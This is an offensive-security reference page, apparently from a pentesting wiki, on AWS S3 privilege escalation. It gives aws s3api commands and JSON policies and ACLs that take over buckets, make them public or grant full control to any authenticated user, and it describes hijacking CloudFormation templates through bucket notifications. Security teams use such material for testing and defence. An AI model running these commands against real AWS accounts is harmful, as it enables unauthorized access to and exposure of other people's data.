# AWS - S3 Privesc
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## S3
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
```json
{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}
```
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
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The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
An attacker with **read access** to them might find **sensitive information** on them.\
An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
These are some examples:
* If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
### `s3:PutBucketPolicy`
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
An attacker could abuse these permissions to **grant him more access** over specific buckets.\
Note that the attacker doesn't need to be from the same account. Moreover the write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket
aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "",
"ID": ""
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
An attacker could abuse these permissions to grant him more access over specific objects inside buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "",
"ID": ""
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
An attacker with these privileges is expected to be able to put an Acl to an specific object version
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
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